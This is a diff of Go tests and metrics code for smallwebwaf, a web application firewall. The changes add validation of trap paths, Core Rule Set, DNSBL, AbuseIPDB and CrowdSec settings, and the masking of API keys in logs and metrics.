func TestIPv6GroupPrefixMaxTrackedClientsAndLogLevel(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
env environment
prefix, clients int
level slog.Level
}{
{environment{}, 64, 20000, slog.LevelInfo},
{
environment{ipv6GroupPrefix: "48", maxTrackedClients: "500", logLevel: "warn"},
48, 500, slog.LevelWarn,
},
} {
cfg := fromEnvironment(t, tc.env)
if cfg.IPv6GroupPrefix != tc.prefix || cfg.MaxTrackedClients != tc.clients ||
cfg.LogLevel != tc.level {
t.Errorf("%v gave %d, %d and %v, want %d, %d and %v", tc.env,
cfg.IPv6GroupPrefix, cfg.MaxTrackedClients, cfg.LogLevel,
tc.prefix, tc.clients, tc.level)
}
}
}
func TestIPv6GroupPrefixFrom32To128(t *testing.T) {
t.Parallel()
for _, length := range []int{32, 128} {
cfg := fromEnvironment(t, environment{ipv6GroupPrefix: strconv.Itoa(length)})
if cfg.IPv6GroupPrefix != length {
t.Errorf("%s=%d gave %d", ipv6GroupPrefix, length, cfg.IPv6GroupPrefix)
}
}
}
func TestEachLogLevel(t *testing.T) {
t.Parallel()
for value, want := range map[string]slog.Level{
"debug": slog.LevelDebug,
"info": slog.LevelInfo,
"warn": slog.LevelWarn,
"error": slog.LevelError,
} {
cfg := fromEnvironment(t, environment{logLevel: value})
if cfg.LogLevel != want {
t.Errorf("%s=%s gave %v, want %v", logLevel, value, cfg.LogLevel, want)
}
}
}
func TestByteLimitSettingsAsSet(t *testing.T) { func TestByteLimitSettingsAsSet(t *testing.T) {
t.Parallel() t.Parallel()
@@ -436,6 +506,188 @@ func TestPathPrefixNotStartingWithSlashStopsTheStart(t *testing.T) {
} }
} }
func TestTrapPathsAndErrorBurstThreshold(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
env environment
paths []string
threshold int64
}{
{environment{}, []string{}, 30},
{
environment{trapPaths: "/wp-login.php, /xmlrpc.php", errorBurstThreshold: "5"},
[]string{"/wp-login.php", "/xmlrpc.php"}, 5,
},
{environment{errorBurstThreshold: off}, []string{}, 0},
} {
cfg := fromEnvironment(t, tc.env)
if !slices.Equal(cfg.TrapPaths, tc.paths) ||
cfg.ErrorBurstThreshold != tc.threshold {
t.Errorf("%v gave %v and %d, want %v and %d", tc.env, cfg.TrapPaths,
cfg.ErrorBurstThreshold, tc.paths, tc.threshold)
}
}
}
func TestInvalidTrapPathOrErrorBurstThresholdStopsTheStart(t *testing.T) {
t.Parallel()
const notTrapPath = " is not a path starting with / and without a ?, " +
"such as /wp-login.php"
for _, tc := range []struct{ name, value, want string }{
{trapPaths, "/wp-login.php,xmlrpc.php", `"xmlrpc.php"` + notTrapPath},
{trapPaths, "/xmlrpc.php?rsd", `"/xmlrpc.php?rsd"` + notTrapPath},
{
trapPaths, "/wp-login.php,,/xmlrpc.php",
`"/wp-login.php,,/xmlrpc.php" has an empty item in its list`,
},
{errorBurstThreshold, "0", `"0" must be more than zero, or off`},
{
errorBurstThreshold, "30/min",
`"30/min" is not a whole number of requests such as 1000, or off`,
},
} {
t.Run(tc.name+"="+tc.value, func(t *testing.T) {
t.Parallel()
_, err := config.FromEnvironment(environment{tc.name: tc.value}.lookupEnv)
want := tc.name + ": " + tc.want
if err == nil || err.Error() != want {
t.Errorf("error %v, want %s", err, want)
}
})
}
}
func TestCoreRuleSetSettings(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
env environment
want config.Config
}{
{
environment{},
config.Config{
WAFMode: config.WAFModeBlock, WAFParanoiaLevel: 1, WAFAnomalyThreshold: 5,
WAFDisabledRules: []int{920340, 920420, 920440, 920640, 930130, 930140},
WAFExemptPaths: []string{},
},
},
{
environment{
wafMode: config.WAFModeDetect, wafParanoiaLevel: "4", wafAnomalyThreshold: "10",
wafDisabledRules: "942100, 920350", wafExemptPaths: "/api/, /static/",
wafBodyLimit: "128K",
},
config.Config{
WAFMode: config.WAFModeDetect, WAFParanoiaLevel: 4, WAFAnomalyThreshold: 10,
WAFDisabledRules: []int{942100, 920350},
WAFExemptPaths: []string{"/api/", "/static/"},
WAFBodyLimit: 128 << 10,
},
},
{
environment{
wafMode: off, wafAnomalyThreshold: off, wafDisabledRules: "",
wafBodyLimit: off,
},
config.Config{
WAFMode: config.WAFModeOff, WAFParanoiaLevel: 1, WAFAnomalyThreshold: 0,
WAFDisabledRules: []int{}, WAFExemptPaths: []string{},
},
},
} {
cfg := fromEnvironment(t, tc.env)
got := config.Config{
WAFMode: cfg.WAFMode, WAFParanoiaLevel: cfg.WAFParanoiaLevel,
WAFAnomalyThreshold: cfg.WAFAnomalyThreshold,
WAFDisabledRules: cfg.WAFDisabledRules, WAFExemptPaths: cfg.WAFExemptPaths,
WAFBodyLimit: cfg.WAFBodyLimit,
}
if !reflect.DeepEqual(got, tc.want) {
t.Errorf("%v gave\n%+v\nwant\n%+v", tc.env, got, tc.want)
}
}
}
func TestWAFBodyLimitOf1G(t *testing.T) {
t.Parallel()
cfg := fromEnvironment(t, environment{wafBodyLimit: "1G"})
if cfg.WAFBodyLimit != 1<<30 {
t.Errorf("1G read as %d", cfg.WAFBodyLimit)
}
}
func TestInvalidCoreRuleSetSettingStopsTheStart(t *testing.T) {
t.Parallel()
const (
notParanoiaLevel = " is not a paranoia level, from 1 to 4"
setupRule = " is from 900000 to 900999, the ids of the rules that set " +
"the Core Rule Set up and of smallwebwaf's own, which cannot be switched off"
)
for _, tc := range []struct{ name, value, want string }{
{wafMode, "enforce", `"enforce" is not off, detect or block`},
{wafParanoiaLevel, "0", `"0"` + notParanoiaLevel},
{wafParanoiaLevel, "5", `"5"` + notParanoiaLevel},
{wafParanoiaLevel, off, `"off"` + notParanoiaLevel},
{
wafAnomalyThreshold, "0",
`"0" is not a whole number above zero, such as 60, or off`,
},
{
wafDisabledRules, "920340,REQUEST-920",
`"REQUEST-920" is not the id of a Core Rule Set rule, ` +
`a whole number such as 942100`,
},
{
wafDisabledRules, "-942100",
`"-942100" is not the id of a Core Rule Set rule, ` +
`a whole number such as 942100`,
},
// The paranoia level, the allowed methods, the headers refused, a
// request with more query parameters than Coraza keeps, and a body
// Coraza cannot parse or that fails its strict checks.
{wafDisabledRules, "942100,900000", `"900000"` + setupRule},
{wafDisabledRules, "942100,900200", `"900200"` + setupRule},
{wafDisabledRules, "942100,900250", `"900250"` + setupRule},
{wafDisabledRules, "942100,900300", `"900300"` + setupRule},
{wafDisabledRules, "942100,900440", `"900440"` + setupRule},
{wafDisabledRules, "942100,900450", `"900450"` + setupRule},
{
wafExemptPaths, "api/",
`"api/" is not a path prefix starting with /, such as /assets/`,
},
{
wafBodyLimit, "128KB",
`"128KB" is not a size such as 512K, 100M or 5G, or off`,
},
{wafBodyLimit, "2G", `"2G" is more than 1G, the most Coraza reads`},
{
wafBodyLimit, "1073741825",
`"1073741825" is more than 1G, the most Coraza reads`,
},
} {
t.Run(tc.name+"="+tc.value, func(t *testing.T) {
t.Parallel()
_, err := config.FromEnvironment(environment{tc.name: tc.value}.lookupEnv)
want := tc.name + ": " + tc.want
if err == nil || err.Error() != want {
t.Errorf("error %v, want %s", err, want)
}
})
}
}
func TestInstanceNameAndLoggedHeadersAsSet(t *testing.T) { func TestInstanceNameAndLoggedHeadersAsSet(t *testing.T) {
t.Parallel() t.Parallel()
@@ -1331,10 +1583,13 @@ func TestASNLimitPercentURLThatIsABlocklistStopsTheStart(t *testing.T) {
} }
// dronebl is a DNSBL zone, and spamhaus one of Spamhaus's, a name // dronebl is a DNSBL zone, and spamhaus one of Spamhaus's, a name
// containing the key of its keyed query service. // containing spamhausKey, the key of its keyed query service, which the
// log shows as spamhausMasked.
const ( const (
dronebl = "dnsbl.dronebl.org" dronebl = "dnsbl.dronebl.org"
spamhaus = "abcdefghijklmnopqrstuvwxyz.xbl.dq.spamhaus.net" spamhausKey = "abcdefghijklmnopqrstuvwxyz"
spamhaus = spamhausKey + ".xbl.dq.spamhaus.net"
spamhausMasked = "********.xbl.dq.spamhaus.net"
) )
func TestDNSBLSettingsAsSet(t *testing.T) { func TestDNSBLSettingsAsSet(t *testing.T) {
@@ -1430,6 +1685,8 @@ func TestInvalidDNSBLSettingStopsTheStartSayingWhatIsWrong(t *testing.T) {
dnsblZones, dronebl + "," + spamhaus + "," + dronebl, dnsblZones, dronebl + "," + spamhaus + "," + dronebl,
`"` + dronebl + `" is listed twice`, `"` + dronebl + `" is listed twice`,
}, },
// DNS names ignore case.
{dnsblZones, "dnsbl.example,DNSBL.example", `"DNSBL.example" is listed twice`},
{dnsblResolver, "resolver.example", `"resolver.example"` + notResolver}, {dnsblResolver, "resolver.example", `"resolver.example"` + notResolver},
{dnsblResolver, "192.0.2.53:0", `"192.0.2.53:0"` + notResolver}, {dnsblResolver, "192.0.2.53:0", `"192.0.2.53:0"` + notResolver},
{dnsblResolver, "192.0.2.53:65536", `"192.0.2.53:65536"` + notResolver}, {dnsblResolver, "192.0.2.53:65536", `"192.0.2.53:65536"` + notResolver},
@@ -1454,6 +1711,258 @@ func TestInvalidDNSBLSettingStopsTheStartSayingWhatIsWrong(t *testing.T) {
} }
} }
func TestMaskZoneKeyMasksTheFirstLabelOfAZoneUnderDqSpamhausNet(t *testing.T) {
t.Parallel()
for zone, want := range map[string]string{
spamhaus: spamhausMasked,
spamhaus + ".": spamhausMasked + ".",
"KEY.ZEN.DQ.SPAMHAUS.NET": "********.ZEN.DQ.SPAMHAUS.NET",
dronebl: dronebl,
"dq.spamhaus.net": "dq.spamhaus.net",
spamhaus + ".example": spamhaus + ".example",
} {
if got := config.MaskZoneKey(zone); got != want {
t.Errorf("MaskZoneKey(%q) is %q, want %q", zone, got, want)
}
}
}
func TestDNSBLZoneKeyIsLoggedMaskedAndNeverShown(t *testing.T) {
t.Parallel()
cfg := fromEnvironment(t, environment{dnsblZones: dronebl + ", " + spamhaus})
var out bytes.Buffer
slog.New(slog.NewJSONHandler(&out, nil)).Info("starting", "settings", cfg)
logged := out.String()
if strings.Contains(logged, spamhausKey) ||
!strings.Contains(logged, `"`+dnsblZones+`":"`+dronebl+","+spamhausMasked+`"`) {
t.Errorf("the zones are not logged with the key masked: %s", logged)
}
// Nor does an error that stops the start show a key, in any case.
const (
notZone = " is not a DNS zone such as dnsbl.dronebl.org"
otherKey = "zyxwvutsrqponmlkjihgfedcba"
otherZone = otherKey + ".xbl.dq.spamhaus.net"
)
// 205 characters, 187 with the key masked.
labels := strings.Repeat("a", 63) + "." + strings.Repeat("b", 63) + "." +
strings.Repeat("c", 30) + ".xbl.dq.spamhaus.net"
for _, tc := range []struct{ value, want string }{
{spamhaus + ".", `"` + spamhausMasked + `."` + notZone},
{spamhausKey + "_.xbl.dq.spamhaus.net", `"` + spamhausMasked + `"` + notZone},
{
spamhausKey + "." + labels,
`"********.` + labels + `" is longer than 189 characters, too long ` +
`for the names IPv6 clients are asked about by`,
},
{
spamhaus + "," + strings.ToUpper(spamhaus),
`"********.XBL.DQ.SPAMHAUS.NET" is listed twice`,
},
{spamhaus + "," + otherZone, `"` + spamhausMasked + `" is listed twice`},
{spamhaus + ",,", "has an empty item in its list"},
} {
_, err := config.FromEnvironment(environment{dnsblZones: tc.value}.lookupEnv)
want := dnsblZones + ": " + tc.want
if err == nil || err.Error() != want {
t.Errorf("%s=%s gave the error %v, want %s", dnsblZones, tc.value, err, want)
}
}
}
func TestAbuseIPDBSettingsAsSet(t *testing.T) {
t.Parallel()
cfg := fromEnvironment(t, environment{})
if cfg.AbuseIPDBKey != "" || cfg.AbuseIPDBMinScore != 75 ||
cfg.AbuseIPDBDailyBudget != 900 {
t.Errorf("by default, the key %q, the minimum score %d and the daily budget %d, "+
"want none, 75 and 900", cfg.AbuseIPDBKey, cfg.AbuseIPDBMinScore,
cfg.AbuseIPDBDailyBudget)
}
cfg = fromEnvironment(t, environment{
abuseIPDBKey: token, abuseIPDBMinScore: "0", abuseIPDBDailyBudget: "1",
})
if cfg.AbuseIPDBKey != token || cfg.AbuseIPDBMinScore != 0 ||
cfg.AbuseIPDBDailyBudget != 1 {
t.Errorf("set, the key %q, the minimum score %d and the daily budget %d, "+
"want %s, 0 and 1", cfg.AbuseIPDBKey, cfg.AbuseIPDBMinScore,
cfg.AbuseIPDBDailyBudget, token)
}
}
func TestInvalidAbuseIPDBSettingStopsTheStartSayingWhatIsWrong(t *testing.T) {
t.Parallel()
const (
notScore = " is not a percentage, a whole number from 0 to 100"
notBudget = " is not a whole number above zero, such as 5000"
)
for _, tc := range []struct{ name, value, want string }{
{abuseIPDBMinScore, "101", `"101"` + notScore},
{abuseIPDBMinScore, off, `"off"` + notScore},
{abuseIPDBDailyBudget, "0", `"0"` + notBudget},
{abuseIPDBDailyBudget, off, `"off"` + notBudget},
// The key itself is never shown.
{
abuseIPDBKey, token + "\r",
"holds a control character, such as the carriage return of a Windows line end",
},
} {
t.Run(tc.name+"="+tc.value, func(t *testing.T) {
t.Parallel()
_, err := config.FromEnvironment(environment{tc.name: tc.value}.lookupEnv)
want := tc.name + ": " + tc.want
if err == nil || err.Error() != want {
t.Errorf("error %v, want %s", err, want)
}
})
}
}
func TestAbuseIPDBKeyIsLoggedMasked(t *testing.T) {
t.Parallel()
cfg := fromEnvironment(t, environment{abuseIPDBKey: token})
var out bytes.Buffer
slog.New(slog.NewJSONHandler(&out, nil)).Info("starting", "settings", cfg)
logged := out.String()
if strings.Contains(logged, token) ||
!strings.Contains(logged, `"`+abuseIPDBKey+`":"********"`) {
t.Errorf("the key is not logged masked: %s", logged)
}
}
func TestCrowdSecSettingsGiveTheDecisionListAndTheKey(t *testing.T) {
t.Parallel()
cfg := fromEnvironment(t, environment{})
if cfg.CrowdSecDecisionsURL != "" || cfg.CrowdSecKey != "" {
t.Errorf("by default, the decision list %q and the key %q, want neither",
cfg.CrowdSecDecisionsURL, cfg.CrowdSecKey)
}
for lapi, want := range map[string]string{
"http://172.17.0.1:8080": "http://172.17.0.1:8080/v1/decisions",
"http://172.17.0.1:8080/": "http://172.17.0.1:8080/v1/decisions",
"https://crowdsec.example/lapi/": "https://crowdsec.example/lapi/v1/decisions",
"https://crowdsec.example:8443/x": "https://crowdsec.example:8443/x/v1/decisions",
} {
cfg := fromEnvironment(t, environment{crowdSecURL: lapi, crowdSecKey: token})
if cfg.CrowdSecDecisionsURL != want || cfg.CrowdSecKey != token {
t.Errorf("%s=%s gave the decision list %q and the key %q, want %s and %s",
crowdSecURL, lapi, cfg.CrowdSecDecisionsURL, cfg.CrowdSecKey, want, token)
}
}
}
func TestInvalidCrowdSecSettingStopsTheStartSayingWhatIsWrong(t *testing.T) {
t.Parallel()
const (
lapi = "http://172.17.0.1:8080"
notLAPIURL = " is not an http or https URL without a user or a fragment, " +
"such as http://172.17.0.1:8080"
anotherList = `gives the decision list "` + lapi + `/v1/decisions", which is in ` +
`SWWAF_BLOCKLIST_URLS or is SWWAF_ASN_LIMIT_PERCENT_URL too`
)
for _, tc := range []struct {
name string
env environment
want string
}{
{
"a URL that is not http",
environment{crowdSecURL: "ftp://172.17.0.1", crowdSecKey: token},
crowdSecURL + `: "ftp://172.17.0.1"` + notLAPIURL,
},
{
"a URL with a user",
environment{crowdSecURL: "http://bouncer@172.17.0.1:8080", crowdSecKey: token},
crowdSecURL + `: "http://bouncer@172.17.0.1:8080"` + notLAPIURL,
},
{
"the URL without the key",
environment{crowdSecURL: lapi},
crowdSecURL + ": is set while " + crowdSecKey + " is unset; the engine " +
"answers no request without it",
},
{
"the key without the URL",
environment{crowdSecKey: token},
crowdSecKey + ": is set while " + crowdSecURL + " is unset; it is sent only " +
"to the engine at that URL",
},
{
"the decision list as a blocklist too",
environment{
crowdSecURL: lapi, crowdSecKey: token,
blocklistURLs: "https://lists.example/drop.txt," + lapi + "/v1/decisions",
},
crowdSecURL + ": " + anotherList,
},
{
"the decision list as the file of AS:percent lines too",
environment{
crowdSecURL: lapi + "/", crowdSecKey: token,
asnLimitPercentURL: lapi + "/v1/decisions",
},
crowdSecURL + ": " + anotherList,
},
// The key itself is never shown.
{
"a key with a control character",
environment{crowdSecURL: lapi, crowdSecKey: token + "\r"},
crowdSecKey + ": holds a control character, such as the carriage return " +
"of a Windows line end",
},
} {
t.Run(tc.name, func(t *testing.T) {
t.Parallel()
_, err := config.FromEnvironment(tc.env.lookupEnv)
if err == nil || err.Error() != tc.want {
t.Errorf("error %v, want %s", err, tc.want)
}
})
}
}
func TestCrowdSecKeyIsLoggedMasked(t *testing.T) {
t.Parallel()
cfg := fromEnvironment(t, environment{
crowdSecURL: "http://172.17.0.1:8080", crowdSecKey: token,
})
var out bytes.Buffer
slog.New(slog.NewJSONHandler(&out, nil)).Info("starting", "settings", cfg)
logged := out.String()
if strings.Contains(logged, token) ||
!strings.Contains(logged, `"`+crowdSecKey+`":"********"`) ||
!strings.Contains(logged, `"`+crowdSecURL+`":"http://172.17.0.1:8080"`) {
t.Errorf("the key is not logged masked beside the URL: %s", logged)
}
}
func TestSizesAndOff(t *testing.T) { func TestSizesAndOff(t *testing.T) {
t.Parallel() t.Parallel()
@@ -1553,6 +2062,10 @@ func TestInvalidValueStopsTheStart(t *testing.T) {
{trustedProxies, "traefik"}, {trustedProxies, "traefik"},
{trustedProxies, "10.0.0.0/8,,192.168.0.0/16"}, {trustedProxies, "10.0.0.0/8,,192.168.0.0/16"},
{trustedProxies, "fe80::1%eth0"}, {trustedProxies, "fe80::1%eth0"},
{ipv6GroupPrefix, "31"}, {ipv6GroupPrefix, "129"}, {ipv6GroupPrefix, "/64"},
{ipv6GroupPrefix, off}, {ipv6GroupPrefix, ""},
{maxTrackedClients, "0"}, {maxTrackedClients, "-1"}, {maxTrackedClients, off},
{maxTrackedClients, "20K"},
{allowNets, "192.0.2.0/24,monitoring"}, {allowNets, "192.0.2.0/24,monitoring"},
{rateLimitExemptNets, "2001:db8::/129"}, {rateLimitExemptNets, "2001:db8::/129"},
{denyNets, "198.51.100.0/24,"}, {denyNets, "198.51.100.0/24,"},
@@ -1606,6 +2119,7 @@ func TestInvalidValueStopsTheStart(t *testing.T) {
{logRequestHeaders, "accept language"}, {logRequestHeaders, "x-foo:"}, {logRequestHeaders, "accept language"}, {logRequestHeaders, "x-foo:"},
{logRequestHeaders, "host"}, {logRequestHeaders, "accept,Host"}, {logRequestHeaders, "host"}, {logRequestHeaders, "accept,Host"},
{logRequestHeaders, "transfer-encoding"}, {logRequestHeaders, "TRANSFER-ENCODING"}, {logRequestHeaders, "transfer-encoding"}, {logRequestHeaders, "TRANSFER-ENCODING"},
{logLevel, "INFO"}, {logLevel, "warning"}, {logLevel, "trace"}, {logLevel, ""},
{rulesEnabled, "yes"}, {rulesEnabled, "True"}, {rulesEnabled, "yes"}, {rulesEnabled, "True"},
}) })
} }
@@ -1848,6 +2362,8 @@ func TestLogsEachSettingWithItsValue(t *testing.T) {
upstreamURL: "http://127.0.0.1:8081", upstreamURL: "http://127.0.0.1:8081",
mode: "enforce", mode: "enforce",
trustedProxies: "10.0.0.0/8,172.16.0.0/12,192.168.0.0/16", trustedProxies: "10.0.0.0/8,172.16.0.0/12,192.168.0.0/16",
ipv6GroupPrefix: "64",
maxTrackedClients: "20000",
clientRequestTimeout: "45s", clientRequestTimeout: "45s",
clientHeaderMaxBytes: "32K", clientHeaderMaxBytes: "32K",
clientIdleTimeout: "120s", clientIdleTimeout: "120s",
@@ -1884,9 +2400,14 @@ func TestLogsEachSettingWithItsValue(t *testing.T) {
blocklistAction: actionDeny, blocklistAction: actionDeny,
dnsblZones: "", dnsblZones: "",
dnsblResolver: "", dnsblResolver: "",
abuseIPDBKey: "",
abuseIPDBMinScore: "75",
abuseIPDBDailyBudget: "900",
reputationAction: "limit:25", reputationAction: "limit:25",
reputationCacheTTL: defaultReputationCacheTTL, reputationCacheTTL: defaultReputationCacheTTL,
reputationTimeout: "2s", reputationTimeout: "2s",
crowdSecURL: "",
crowdSecKey: "",
banResponse: "403", banResponse: "403",
limitBanDuration: "1h", limitBanDuration: "1h",
limitBanRepeatWindow: "24h", limitBanRepeatWindow: "24h",
@@ -1902,8 +2423,17 @@ func TestLogsEachSettingWithItsValue(t *testing.T) {
metricsTopN: "50", metricsTopN: "50",
instanceName: hostname, instanceName: hostname,
logRequestHeaders: defaultLogRequestHeaders, logRequestHeaders: defaultLogRequestHeaders,
logLevel: "info",
rulesDir: "/etc/smallwebwaf/rules.d", rulesDir: "/etc/smallwebwaf/rules.d",
rulesEnabled: "true", rulesEnabled: "true",
wafMode: config.WAFModeBlock,
wafParanoiaLevel: "1",
wafAnomalyThreshold: "5",
wafDisabledRules: defaultWAFDisabledRules,
wafExemptPaths: "",
wafBodyLimit: off,
trapPaths: "",
errorBurstThreshold: "30",
logRemoteURL: "", logRemoteURL: "",
logRemoteTLSCAFile: "", logRemoteTLSCAFile: "",
logRemoteBuffer: "10000", logRemoteBuffer: "10000",
+2 -1
View File
@@ -176,7 +176,8 @@ func New(params Params) *GeoJS {
// when it ends. // when it ends.
// //
// GeoJS is asked about the client's first address, which is the client's // GeoJS is asked about the client's first address, which is the client's
// own address for IPv4, and an address in the same place for an IPv6 /64. // own address for IPv4, and an address in the same place for an IPv6
// netblock.
func (g *GeoJS) LookUp(ctx context.Context, client netip.Prefix) Answer { func (g *GeoJS) LookUp(ctx context.Context, client netip.Prefix) Answer {
answer, asked := g.answerOrWait(ctx, client) answer, asked := g.answerOrWait(ctx, client)
if asked == nil { if asked == nil {
+110 -61
View File
@@ -6,7 +6,6 @@ package metrics
import ( import (
"net/http" "net/http"
"strconv" "strconv"
"strings"
"time" "time"
"github.com/prometheus/client_golang/prometheus" "github.com/prometheus/client_golang/prometheus"
@@ -14,6 +13,7 @@ import (
"github.com/prometheus/client_golang/prometheus/promhttp" "github.com/prometheus/client_golang/prometheus/promhttp"
"sneak.berlin/go/smallwebwaf/internal/alerts" "sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/bans" "sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/config"
"sneak.berlin/go/smallwebwaf/internal/ratelimit" "sneak.berlin/go/smallwebwaf/internal/ratelimit"
"sneak.berlin/go/smallwebwaf/internal/remotelog" "sneak.berlin/go/smallwebwaf/internal/remotelog"
"sneak.berlin/go/smallwebwaf/internal/reputation" "sneak.berlin/go/smallwebwaf/internal/reputation"
@@ -36,6 +36,7 @@ type Metrics struct {
rateLimitHits *prometheus.CounterVec rateLimitHits *prometheus.CounterVec
sizeAndTimeLimitHits *prometheus.CounterVec sizeAndTimeLimitHits *prometheus.CounterVec
offences *prometheus.CounterVec offences *prometheus.CounterVec
wafMatches *prometheus.CounterVec
// ruleMatches are made by AddRules, and reputationHits by // ruleMatches are made by AddRules, and reputationHits by
// AddReputation. // AddReputation.
ruleMatches *prometheus.CounterVec ruleMatches *prometheus.CounterVec
@@ -63,6 +64,8 @@ type Metrics struct {
// topN is how many countries and how many AS numbers get series of their // topN is how many countries and how many AS numbers get series of their
// own (SWWAF_METRICS_TOP_N). Every metric carries instanceName // own (SWWAF_METRICS_TOP_N). Every metric carries instanceName
// (SWWAF_INSTANCE_NAME) as its label instance. // (SWWAF_INSTANCE_NAME) as its label instance.
//
//nolint:funlen // a few lines for each metric, a list that grows with them
func New(topN int, instanceName string) *Metrics { func New(topN int, instanceName string) *Metrics {
byStatus := []string{"status_class", "action"} byStatus := []string{"status_class", "action"}
byFile := []string{"file"} byFile := []string{"file"}
@@ -93,14 +96,17 @@ func New(topN int, instanceName string) *Metrics {
Help: "How long requests passed to the app took, from then to their end.", Help: "How long requests passed to the app took, from then to their end.",
}), }),
rateLimitHits: counterVec("smallwebwaf_rate_limit_hits_total", rateLimitHits: counterVec("smallwebwaf_rate_limit_hits_total",
"Requests that broke a rate limit or a byte limit, by its window and "+ "Requests that broke a rate limit, a byte limit or the error burst, by "+
"its kind, requests or bytes.", "its window and its kind, requests, bytes or refusals.",
[]string{"window", "kind"}), []string{"window", "kind"}),
sizeAndTimeLimitHits: counterVec("smallwebwaf_size_and_time_limit_hits_total", sizeAndTimeLimitHits: counterVec("smallwebwaf_size_and_time_limit_hits_total",
"Requests that passed a size or time limit, by its setting.", "Requests that passed a size or time limit, by its setting.",
[]string{"limit"}), []string{"limit"}),
offences: counterVec("smallwebwaf_offences_total", offences: counterVec("smallwebwaf_offences_total",
"Offences, by kind.", []string{"kind"}), "Offences, by kind.", []string{"kind"}),
wafMatches: counterVec("smallwebwaf_waf_matches_total",
"Requests that matched a rule of the Core Rule Set, by SWWAF_WAF_MODE "+
"and the rule's id.", []string{"mode", "rule_id"}),
countries: newCountries(topN), countries: newCountries(topN),
asns: newASNs(topN), asns: newASNs(topN),
GeoJSRequests: prometheus.NewCounter(prometheus.CounterOpts{ GeoJSRequests: prometheus.NewCounter(prometheus.CounterOpts{
@@ -136,7 +142,8 @@ func New(topN int, instanceName string) *Metrics {
collectors.NewProcessCollector(collectors.ProcessCollectorOpts{}), collectors.NewProcessCollector(collectors.ProcessCollectorOpts{}),
m.inFlight, m.requests, m.requestBytes, m.responseBytes, m.inFlight, m.requests, m.requestBytes, m.responseBytes,
m.requestDuration, m.upstreamDuration, m.requestDuration, m.upstreamDuration,
m.rateLimitHits, m.sizeAndTimeLimitHits, m.offences, m.countries, m.asns, m.rateLimitHits, m.sizeAndTimeLimitHits, m.offences, m.wafMatches,
m.countries, m.asns,
m.GeoJSRequests, m.GeoJSFailures, m.GeoJSUnanswered, m.GeoJSRequests, m.GeoJSFailures, m.GeoJSUnanswered,
m.stateFileWrites, m.stateFileWriteFailures, m.stateFileWrites, m.stateFileWriteFailures,
m.stateFileLastWrite, m.stateFileSize, m.stateFileLastWrite, m.stateFileSize,
@@ -153,7 +160,9 @@ func New(topN int, instanceName string) *Metrics {
func (m *Metrics) AddBansAndClients( func (m *Metrics) AddBansAndClients(
ledger *bans.Ledger, limiter *ratelimit.Limiter, now func() time.Time, ledger *bans.Ledger, limiter *ratelimit.Limiter, now func() time.Time,
) { ) {
for _, cause := range []string{bans.CauseLimit, bans.CauseAttack, bans.CauseAdmin} { for _, cause := range []string{
bans.CauseLimit, bans.CauseAttack, bans.CauseAdmin, bans.CauseCrowdSec,
} {
m.registry.MustRegister(prometheus.NewCounterFunc(prometheus.CounterOpts{ m.registry.MustRegister(prometheus.NewCounterFunc(prometheus.CounterOpts{
Name: "smallwebwaf_bans_made_total", Name: "smallwebwaf_bans_made_total",
Help: "Bans made, by cause.", Help: "Bans made, by cause.",
@@ -256,57 +265,37 @@ func (m *Metrics) AddLookupFile(lastRead func() time.Time, readFailures func() i
) )
} }
// AddReputation adds the metrics of the lists fetched from URLs and of the // sourceLabel is the label of the reputation metrics: a list's URL, a
// DNSBL zones, by source, each list's URL or each zone: the requests whose // DNSBL zone, its key masked, or abuseipdb.
// client a blocklist or a zone's verdict lists, which ReputationHit const sourceLabel = "source"
// counts, and, read from lists and dnsbl as the metrics are asked for, for
// a list, the fetches that failed and when the copy in use was fetched,
// and for a zone, the queries made and those that failed. It is called
// once, before ReputationHit.
func (m *Metrics) AddReputation(lists *reputation.Lists, dnsbl *reputation.DNSBL) {
const (
sourceLabel = "source"
failuresHelp = "Fetches of the list, or queries to the DNSBL zone, that failed."
)
// AddReputation adds the metrics of the lists fetched from URLs and of the
// DNSBL zones, by source, each list's URL or each zone, its key masked as
// config.MaskZoneKey masks it: the requests whose client a blocklist, the
// CrowdSec decision list, a zone's verdict or AbuseIPDB's score lists,
// which ReputationHit counts, and, read from lists and dnsbl as the
// metrics are asked for, for a list, the fetches that failed and when the
// copy in use was fetched, and for a zone, the queries made and those that
// failed. It is called once, before ReputationHit.
func (m *Metrics) AddReputation(lists *reputation.Lists, dnsbl *reputation.DNSBL) {
m.reputationHits = counterVec("smallwebwaf_reputation_hits_total", m.reputationHits = counterVec("smallwebwaf_reputation_hits_total",
"Requests whose client a blocklist or a DNSBL zone lists, by the "+ "Requests whose client a blocklist, the CrowdSec decision list, a DNSBL "+
"blocklist's URL or the zone.", "zone or AbuseIPDB lists, by the list's URL, the zone, or abuseipdb.",
[]string{sourceLabel}) []string{sourceLabel})
m.registry.MustRegister(m.reputationHits) m.registry.MustRegister(m.reputationHits)
for _, zone := range dnsbl.Zones() { for _, zone := range dnsbl.Zones() {
source := prometheus.Labels{sourceLabel: zone} source := prometheus.Labels{sourceLabel: config.MaskZoneKey(zone)}
m.registry.MustRegister( m.addReputationQueries(source, func() int { return dnsbl.Queries(zone) })
prometheus.NewCounterFunc(prometheus.CounterOpts{ m.addReputationFailures(source, func() int { return dnsbl.Failures(zone) })
Name: "smallwebwaf_reputation_queries_total",
Help: "Queries to the DNSBL zone.",
ConstLabels: source,
}, func() float64 {
return float64(dnsbl.Queries(zone))
}),
prometheus.NewCounterFunc(prometheus.CounterOpts{
Name: "smallwebwaf_reputation_failures_total",
Help: failuresHelp,
ConstLabels: source,
}, func() float64 {
return float64(dnsbl.Failures(zone))
}),
)
} }
for _, listURL := range lists.URLs() { for _, listURL := range lists.URLs() {
source := prometheus.Labels{sourceLabel: listURL} source := prometheus.Labels{sourceLabel: listURL}
m.addReputationFailures(source, func() int { return lists.Failures(listURL) })
m.registry.MustRegister( m.registry.MustRegister(
prometheus.NewCounterFunc(prometheus.CounterOpts{
Name: "smallwebwaf_reputation_failures_total",
Help: failuresHelp,
ConstLabels: source,
}, func() float64 {
return float64(lists.Failures(listURL))
}),
prometheus.NewGaugeFunc(prometheus.GaugeOpts{ prometheus.NewGaugeFunc(prometheus.GaugeOpts{
Name: "smallwebwaf_reputation_last_fetch_timestamp_seconds", Name: "smallwebwaf_reputation_last_fetch_timestamp_seconds",
Help: "When the copy of the list in use was fetched, in seconds since " + Help: "When the copy of the list in use was fetched, in seconds since " +
